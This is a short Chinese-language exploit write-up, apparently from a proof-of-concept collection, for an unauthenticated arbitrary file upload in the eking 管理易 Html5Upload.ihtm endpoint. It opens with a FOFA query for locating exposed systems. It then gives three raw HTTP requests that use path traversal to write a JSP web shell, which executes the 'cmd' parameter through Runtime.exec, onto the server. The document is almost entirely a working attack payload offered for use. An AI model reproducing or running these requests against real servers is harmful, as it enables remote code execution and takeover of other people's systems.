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68 lines
2.3 KiB
Markdown
68 lines
2.3 KiB
Markdown
# eking管理易Html5Upload接口存在任意文件上传漏洞
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eking管理易Html5Upload接口存在任意文件上传漏洞，未经身份验证的远程攻击者可利用此漏洞上传任意文件，在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
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## fofa
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```yaml
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app="EKing-管理易"
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```
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## poc
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创建临时文件
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```yaml
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POST /Html5Upload.ihtm HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
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Content-Type: application/x-www-form-urlencoded
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Connection: close
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comm_type=INIT&sign_id=shell&vp_type=default&file_name=../../shell.jsp&file_size=2048
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```
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写入文件内容
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```jinja2
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POST /Html5Upload.ihtm HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj7OlOPiiukkdktZR
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Connection: close
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------WebKitFormBoundaryj7OlOPiiukkdktZR
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Content-Disposition: form-data; name="comm_type"
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DATA
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------WebKitFormBoundaryj7OlOPiiukkdktZR
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Content-Disposition: form-data; name="sign_id"
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shell
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------WebKitFormBoundaryj7OlOPiiukkdktZR
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Content-Disposition: form-data; name="data_inde"
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0
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------WebKitFormBoundaryj7OlOPiiukkdktZR
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Content-Disposition: form-data; name="data"; filename="chunk1"
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Content-Type: application/octet-stream
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<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
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------WebKitFormBoundaryj7OlOPiiukkdktZR--
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```
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保存文件
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```javascript
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POST /Html5Upload.ihtm HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
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Content-Type: application/x-www-form-urlencoded
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Connection: close
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comm_type=END&sign_id=shell&file_name=../../shell.jsp
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```
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